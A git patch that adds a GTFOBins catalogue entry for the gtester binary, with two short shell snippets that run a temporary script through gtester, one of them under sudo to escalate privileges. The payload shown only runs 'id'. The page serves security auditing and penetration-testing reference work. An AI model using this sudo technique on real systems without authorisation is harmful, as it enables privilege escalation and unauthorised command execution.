From ee1093fc7bdf4e77a3dff8501a7894c8220d145f Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 18 Mar 2020 06:32:25 +1100 Subject: [PATCH] Create gtester.md --- _gtfobins/gtester.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 _gtfobins/gtester.md diff --git a/_gtfobins/gtester.md b/_gtfobins/gtester.md new file mode 100644 index 0000000..d1bfff4 --- /dev/null +++ b/_gtfobins/gtester.md @@ -0,0 +1,17 @@ +--- +functions: + command: + - code: | + TF=$(mktemp) + echo '#!/bin/sh' > $TF + echo '/usr/bin/id' >> $TF + chmod +x $TF + gtester -q $TF + sudo: + - code: | + TF=$(mktemp) + echo '#!/bin/sh' > $TF + echo '/usr/bin/id' >> $TF + chmod +x $TF + sudo gtester -q $TF +---